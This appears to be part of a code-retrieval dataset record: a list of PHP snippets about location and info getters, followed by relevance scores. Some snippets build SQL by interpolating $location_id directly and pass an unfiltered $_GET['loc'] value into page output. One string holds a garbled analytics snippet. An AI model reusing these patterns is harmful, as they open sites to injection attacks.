\"'>edit</a>\";\n\t\t\t\t\tif ($histlink = $this->DisplayHistoryLink(\"locations\", $location->id))\n\t\t\t\t\t{\techo \"&nbsp;|&nbsp;\", $histlink;\n\t\t\t\t\t}\n\t\t\t\t\tif ($location->CanDelete())\n\t\t\t\t\t{\techo \"&nbsp;|&nbsp;<a href='locationedit.php?id=\", $location->id, \"&delete=1'>delete</a>\";\n\t\t\t\t\t}\n\t\t\t\t\techo \"</td>\\n</tr>\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \"</table>\\n\";\n\t\t}\n\t}", "function calendar_display_location_list() {\n return 1;\n }", "public function getLocation() {\n return $this->location;\n }", "public function getLocation()\n\t{\n\t\treturn $this->location;\n\t}", "public function getLocation()\n\t{\n\t\treturn $this->location;\n\t}", "public function getLocation()\n\t{\n\t\treturn $this->location;\n\t}", "public function getLocation()\n\t{\n\t\treturn $this->location;\n\t}", "public function show(Location $location)\n {\n //\n }", "public function show(Location $location)\n {\n //\n }", "public function show(Location $location)\n {\n //\n }", "private function getLocation() {\n $ch = curl_init();\n $timeout = 5;\n curl_setopt($ch, CURLOPT_URL, 'http://widgets.wia.io/embed/wgt_ca2Yvooa/dev_faldy1tg');\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);\n $data = curl_exec($ch);\n curl_close($ch);\n $arr = array('See our Terms and Conditions!function(){var analytics=window.analytics=window.analytics||[];if(!analytics.initialize)if(analytics.invoked)window.console&&console.error&&console.error(\"Segment snippet included twice.\");else{analytics.invoked=!0;analytics.methods=[\"trackSubmit\",\"trackClick\",\"trackLink\",\"trackForm\",\"pageview\",\"identify\",\"reset\",\"group\",\"track\",\"ready\",\"alias\",\"debug\",\"page\",\"once\",\"off\",\"on\"];analytics.factory=function(t){return function(){var e=Array.prototype.slice.call(arguments);e.unshift(t);analytics.push(e);return analytics}};for(var t=0;t',\n 'DeviceTrackerUpdated','Widget'\n );\n $data = strip_tags($data);\n $data = str_replace($arr, '', $data);\n\n $arr2 = array('~var wia = \\'.*\\';~','~var wiaDevice = \\'.*\\';~','~var wiaWidget = \\'.*\\';~','~var wiaEvents = \\'.*\\';~','~var wiaEvent = \\'.*\\';~','~.* .* ago~');\n $data = preg_replace($arr2, '', $data);\n $data = str_replace(array('var wiaLocation = ',';','\\''),'',$data);\n echo trim($data);\n }", "public function getAdditionalInformation()\n {\n return 'Site: ' . ($this->site != null ? $this->site->getLabel() : '');\n }", "function info() {\n\t \treturn $this->description;\n\t }", "public function getMoreInfoUrls()\n {\n return $this->more_info_urls;\n }", "function locationinfo($client, $organizationId)\r\n {\r\n // echo \"\\nOrganizational Units:\\n\\n\";\r\n // $organizationalunits = $client->getOrganizationApi()->listOrganizationalUnits($organizationId);\r\n\r\n // foreach ($organizationalunits as $organizationalunit) {\r\n // echo \" \" . $organizationalunit->getOrganizationalUnitId() . \" -> \" . $organizationalunit->getname() . \"\\n\";\r\n // }\r\n $locationname = \"\";\r\n // echo \"\\nOrganization Locations:\\n\\n\";\r\n\r\n $organizationLocations = $client->getOrganizationApi()->listOrganizationLocations($organizationId);\r\n\r\n foreach ($organizationLocations as $organizationLocation) {\r\n // echo \" \" . $organizationLocation->getLocationId() . \" -> \" . $organizationLocation->getLocationName() . \"\\n\";\r\n $locationname = $organizationLocation->getLocationName();\r\n }\r\n\r\n //echo \" \" . $organizationLocation->getLocationId() . \" -> \" . $organizationLocation->getLocationName() . \"\\n\";\r\n return $organizationLocations[0];\r\n }", "public static function getLocationInfo($locationID) {\n\t\t\t$db = Database::getInstance();\n\t\t\t$query = \"SELECT `name`, `description` FROM `locations` WHERE `id`=?\";\n\t\t\t$db->query($query, array($locationID));\n\t\t\treturn ($db->firstResult());\n\t\t}", "protected function info()\n\t\t{\n\t\t}", "public function gatherInformation($form, &$form_state) {\n $form_values = $form_state->getValues();\n $block_configuration = $block_configuration = $form_state->getBuildInfo()['args'][0];;\n // Check for a stored city.\n $cookie_location = !empty($_COOKIE['weather_location']) ? $_COOKIE['weather_location'] : $block_configuration['location'];\n $form_city = $form_values['city'];\n $coordinates_text = explode(':', $form_values['coordinates']);\n\n $location_information = [\n 'block_location' => $block_configuration['location'],\n 'cookie_location' => $cookie_location,\n 'form_location' => $form_city,\n 'form_coordinates' => $coordinates_text,\n ];\n return $location_information;\n }", "function showlocation() {\r\n drupal_add_js(array('gojira' => array('page' => 'showlocation')), 'setting');\r\n drupal_add_js(array('gojira' => array('loc' => $_GET['loc'])), 'setting');\r\n return theme('showlocation');\r\n}", "public function getInfo()\n {\n return $this->lastInfo;\n }", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function extraInfo();", "public function getCreateLocation()\n {\n return view('admin.world_expansion.create_edit_location', [\n 'location' => new Location,\n 'types' => LocationType::all()->pluck('name','id')->toArray(),\n 'locations' => Location::all()->pluck('name','id')->toArray(),\n 'ch_enabled' => Settings::get('WE_character_locations'),\n 'user_enabled' => Settings::get('WE_user_locations')\n ]);\n }", "public function getLocation()\n\t{\n\t\treturn $this->_location;\n\t}", "function fumseck_display_exif_geocoord($featured_image_exif) {\n\t\n\t$exif_latitude = $featured_image_exif['image_meta']['latitude_DegDec'];\n\t$exif_longitude = $featured_image_exif['image_meta']['longitude_DegDec'];\n\t\n\tif ( $exif_latitude && $exif_longitude ) {\n\t\t\n\t\t$output = sprintf(\n\t\t\t\t'%d° %d′ %d″ %s, %d° %d′ %d″ %s', \n\t\t\t\t$featured_image_exif['image_meta']['latitude_DMS']['degrees'],\n\t\t\t\t$featured_image_exif['image_meta']['latitude_DMS']['minutes'],\n\t\t\t\t$featured_image_exif['image_meta']['latitude_DMS']['seconds'],\n\t\t\t\t$featured_image_exif['image_meta']['latitude_DMS']['direction'],\n\t\t\t\t$featured_image_exif['image_meta']['longitude_DMS']['degrees'],\n\t\t\t\t$featured_image_exif['image_meta']['longitude_DMS']['minutes'],\n\t\t\t\t$featured_image_exif['image_meta']['longitude_DMS']['seconds'],\n\t\t\t\t$featured_image_exif['image_meta']['longitude_DMS']['direction']\n\t\t\t\t);\n\t\t\n\t\t$output = '(<a '\n\t\t\t\t. 'href=\"http://www.openstreetmap.org/?mlat=' . $exif_latitude . '&mlon=' . $exif_longitude . '\" '\n\t\t\t\t. 'title=\"' . __('View this location on OpenStreetMap (opens in another window)', 'fumseck') . '\" '\n\t\t\t\t. 'target=\"_blank\"'\n\t\t\t\t. '>' . $output . '</a>)';\n\t\t\n\t\techo $output;\n\t}\n}", "public function getLocation()\n {\n return $this->banner_location_id;\n }", "function bb_locatie($arguments = array()) {\n\t\t$address = $this->parseArray(array('[/locatie]'), array());\n\t\t$map = $this->maps(htmlspecialchars($address), $arguments);\n\t\treturn '<span class=\"hoverIntent\"><a href=\"https://maps.google.nl/maps?q=' . htmlspecialchars($address) . '\">' . $address . ' <img src=\"/plaetjes/famfamfam/map.png\" alt=\"map\" title=\"Kaart\" /></a><div class=\"hoverIntentContent\">' . $map . '</div></span>';\n\t}", "public function publicLocation()\n {\n return $this->state(function (array $attributes) {\n return [\n 'location' => 1,\n ];\n });\n }", "public function getTourInfo()\n {\n return $this->tourInfo;\n }", "public function add_location_metaboxes() {\n\t\t\t$post_type = PostType::get_instance()->get_post_type();\n\t\t\tadd_meta_box(\n\t\t\t\t$post_type,\n\t\t\t\t__( 'Yoast Local SEO', 'yoast-local-seo' ),\n\t\t\t\t[ $this, 'metabox_locations' ],\n\t\t\t\t$post_type,\n\t\t\t\t'normal',\n\t\t\t\t'high'\n\t\t\t);\n\t\t}", "public function getLocationName()\n {\n return $this->locationName;\n }", "public function show_location_details($location_id)\n\t{\n\t\t$query = \"SELECT \n\t\t\t ld.detail_id, \n\t\t\t ld.location_id, \n\t\t\t ld.place_id,\n\t\t\t ld.building_id, \n\t\t\t ld.floor_id,\n\t\t\t ld.active\n\t\t\tFROM location_details ld \n\t\t\tWHERE location_id = '$location_id' AND active = 'yes' \";\n\t\t$location_details = $this->db->query($query);\n\t\treturn $location_details;\n\t}", "private function getLocation() {\n $location = false;\n \t$result = new StdClass();\n \t// $result->location = 'http://www.geoplugin.net/extras/location.gp?lat=' . $this->coordinates->latitude . '&long=' . $this->coordinates->longitude . '&format=php';\n \t$result->nearest = 'http://www.geoplugin.net/extras/location.gp?lat=' . $this->coordinates->latitude . '&long=' . $this->coordinates->longitude . '&format=php';\n \t$result->location = 'http://maps.googleapis.com/maps/api/geocode/json?latlng=' . $this->coordinates->latitude . ',' . $this->coordinates->longitude . '&sensor=false';\n\n \t$result = json_decode($this->getUrlContents($result->location));\n \t// $result->nearest = unserialize($this->getUrlContents($result->nearest));\n\n $location = $this->validateLocation($result);\n\n if(is_array($location))\n \t $location = $this->filterLocation($location);\n }", "function get_location_content() {\n\n\n\t/*\n\t* Visible list of locations.\n\t*/\n\t$selector_panel_tabs = '';\n\t$selector_panel_info = '';\n\n\n\t// Get all the pins for the map\n\t$pins = array();\n\t$i = 0;\n\t$show_first = true; // set to false to hide all details by default. true to show the first one.\n\twhile ( have_rows( 'pin_locations' ) ) {\n\t\tthe_row();\n\n\t\t$pin_info = array();\n\t\t$pin_info[ 'name' ] = get_sub_field( 'name' );\n\t\t$pin_info[ 'description' ] = get_sub_field( 'description' );\n\t\t$pin_info[ 'description_pin' ] = apply_filters('the_content', get_sub_field( 'description' )); // apply_filters lets us render the shortcodes (athena) and use them in pins\n\t\t$pin_info[ 'hours_of_operation' ] = get_sub_field( 'hours_of_operation' );\n\t\t$pin_info[ 'address' ] = get_sub_field( 'address' );\n\t\t$pin_info[ 'address_pin' ] = apply_filters('the_content',get_sub_field( 'address' ));\n\t\t$pin_info[ 'url' ] = get_sub_field( 'url' );\n\t\t//$pin_info[''] = get_sub_field('');\n\n\n\t\twhile (have_rows('phone_numbers')){\n\t\t\tthe_row();\n\t\t\t//$type = get_sub_field('type');\n\t\t\t$number = get_sub_field('number');\n\t\t\t//$pin_info['phone_numbers'][$type] = $number;\n\t\t\t$pin_info['phone_numbers'][] = $number;\n\t\t}\n\n\t\t// coordinates are in a group, which also needs to be looped even though it isn't a repeater\n\t\twhile (have_rows('coordinates')){\n\t\t\tthe_row();\n\t\t\t$pin_info['latitude'] = get_sub_field('latitude');\n\t\t\t$pin_info['longitude'] = get_sub_field('longitude');\n\n\t\t}\n\n\n\t\t$pin_info[ 'slug' ] = 'ucfh-' . md5(json_encode($pin_info));\n\t\t// use md5 to create a unique id that only changes when the pin data changes - for caching and unique id in html\n\t\t// note: ids MUST start with a letter, so prefix the md5 to prevent erros\n\n\t\t$pins[$pin_info[ 'slug' ]] = $pin_info;\n\n\t\t// 4. Create an always-visible list entry (outside of the google map interface)\n\n\t\tif ($i === 0 && $show_first){\n\t\t\t$show_current = true;\n\t\t} else {\n\t\t\t$show_current = false;\n\t\t}\n\n\t\t$selector_panel_tabs .= selector_panel_list_tab( $pin_info, $show_current );\n\t\t$selector_panel_info .= selector_panel_list_info( $pin_info, $show_current );\n\n\t\t$i++;\n\t}\n\n\t$unique_id_all_data = 'ucfh-' . md5(json_encode($pins));\n\t// generate another unique id for the parent object. this way, a page with multiple blocks won't interfere with one another.\n\t// note: ids MUST start with a letter, so prefix the md5 to prevent erros\n\n\tif ( get_field('panel_visible')) {\n\t\t$selector_panel = \"\n\t\t\t<div class='info selector-panel locations' >\n\t\t\t\t<div class='nab-tab-area' >\n\t\t\t\t\t<ul class='nav nav-tabs' id='{$unique_id_all_data}-tabs' role='tablist' >\n\t\t\t\t\t\t{$selector_panel_tabs}\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t\t<div class='tab-content' id='{$unique_id_all_data}-content' >\n\t\t\t\t\t{$selector_panel_info}\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\";\n\n\t} else {\n\t\t$selector_panel = '';\n\t}\n\n\twp_localize_script(script_register, 'pin_data', $pins);\n\n\tif ( get_field('map_visible') ) {\n\t\t$map = \"<section class='ucf-health-locationsmap-container' ><div class='ucf-health-locationsmap' ></div></section>\";\n\t} else {\n\t\t$map = '';\n\t}\n\n\treturn \"<div class='locations-output' id='{$unique_id_all_data}' >{$selector_panel}{$map}</div>\";\n}", "function InfoTips()\n\t{\n\t\treturn $this->infotips;\n\t}", "function simple_geo_views_data() {\n // Position Fields\n $data['simple_geo_position']['table']['group'] = t('Simple Geo');\n $data['simple_geo_position']['table']['join']['node'] = array(\n 'left_field' => 'nid',\n 'field' => 'nid',\n 'extra' => array(\n array(\n 'field' => 'type',\n 'value' => 'node',\n ),\n ),\n );\n $data['simple_geo_position']['position'] = array(\n 'title' => t('Position'),\n 'help' => t('The position of the node.'), // The help that appears on the UI,\n // Information for displaying the nid\n 'field' => array(\n 'handler' => 'simple_geo_views_handler_field_point',\n ),\n 'filter' => array(\n 'handler' => 'simple_geo_views_handler_filter_point',\n 'label' => t('Has position'),\n 'type' => 'yes-no',\n 'accept null' => TRUE,\n ),\n );\n\n return $data;\n}", "public function showGeoAd()\n {\n }", "public function getInformation()\n {\n return $this->values[\"info\"];\n }", "public function getInfo(Laptop $object){\r\n return \"{$object->namaLaptop}, {$object->getData()}\";\r\n }", "public function detectLocation()\n {\n global $reefless, $config, $rlValid, $rlDb, $page_info;\n\n if ($this->geo_filter_data['applied_location']) {\n return false;\n }\n\n if ($reefless->isBot()\n || $_GET['q'] == 'ext'\n || $_POST['xjxfun']\n || !$config['mf_geo_autodetect']\n || isset($_GET['reset_location'])\n || $_COOKIE['mf_geo_location'] == 'reset'\n || $this->detailsPage\n || strtoupper($_SERVER['REQUEST_METHOD']) == 'POST'\n ) {\n return false;\n }\n\n $names = array();\n\n if ($_SESSION['GEOLocationData']->Country_name) {\n $names[] = $_SESSION['GEOLocationData']->Country_name;\n }\n if ($_SESSION['GEOLocationData']->Region) {\n $names[] = $_SESSION['GEOLocationData']->Region;\n }\n if ($_SESSION['GEOLocationData']->City) {\n $names[] = $_SESSION['GEOLocationData']->City;\n }\n\n $parent_key = $this->geo_format['Key'];\n\n foreach ($names as $name) {\n Valid::escape($name);\n\n $sql = \"SELECT `Key` \";\n $sql .= \"FROM `{db_prefix}lang_keys` \";\n $sql .= \"WHERE `Value` = '{$name}' \";\n $sql .= \"AND SUBSTRING(`Key`, 19, '\" . strlen($parent_key) . \"') = '{$parent_key}' \";\n $sql .= \"ORDER BY CHAR_LENGTH(`Key`) ASC \";\n $sql .= \"LIMIT 1\";\n\n $location = $rlDb->getRow($sql);\n\n if ($location) {\n $parent_key = $location['Key'] = str_replace('data_formats+name+', '', $location['Key']);\n $locations[] = $location;\n } else {\n break;\n }\n }\n\n if ($locations) {\n $locations = array_reverse($locations);\n $location_to_apply = $rlDb->fetch('*', array('Key' => $locations[0]['Key'], 'Status' => 'active'), null, null, 'data_formats', 'row');\n\n // Save automatically detected location for 12 hours\n $reefless->createCookie('mf_geo_location', $location_to_apply['Key'], strtotime('+ 12 hours'));\n\n if (!$location_to_apply) {\n return false;\n }\n\n if ($this->geo_filter_data['is_location_url'] && $location_to_apply['Path']) {\n $redirect_url = $this->buildGeoLink($location_to_apply, $this->clean_url, true);\n\n // Redirect using default header function to avoid utilsRedirectURL hook call\n header(\"Location: {$redirect_url}\", true, 301);\n exit;\n } else {\n $_SESSION['geo_filter_location'] = $location_to_apply;\n header('Refresh: 0');\n exit;\n }\n }\n }" ]
[ "0.6602512", "0.6494677", "0.6494677", "0.6471151", "0.6417514", "0.64096636", "0.6406231", "0.62063074", "0.6111223", "0.60835505", "0.6067141", "0.59769034", "0.5968104", "0.59321743", "0.5929484", "0.58970445", "0.5894264", "0.58671546", "0.5864045", "0.5864045", "0.58573043", "0.58515346", "0.58494115", "0.58355695", "0.5830369", "0.58242965", "0.58198965", "0.5805577", "0.5805577", "0.5801845", "0.57405424", "0.57381934", "0.5734191", "0.5725156", "0.5716485", "0.56924707", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5658085", "0.5650768", "0.56498456", "0.56453264", "0.5631182", "0.5628177", "0.56260324", "0.5620951", "0.5613755", "0.5613755", "0.5613755", "0.5613755", "0.55991286", "0.55991286", "0.55991286", "0.55949897", "0.5586754", "0.5582751", "0.55778396", "0.5572941", "0.55675006", "0.5564272", "0.5560616", "0.5559128", "0.55535626", "0.55358136", "0.55358136", "0.55358136", "0.55358136", "0.553454", "0.553454", "0.55326164", "0.55326164", "0.55326164", "0.5512814", "0.5509157", "0.5506249", "0.5489623", "0.54883415", "0.5478337", "0.54759526", "0.54673404", "0.5466409", "0.5464162", "0.54619414", "0.5452639", "0.5447799", "0.54467714", "0.5446449", "0.5439396", "0.54384077", "0.54338163", "0.54336447" ]
0.0
-1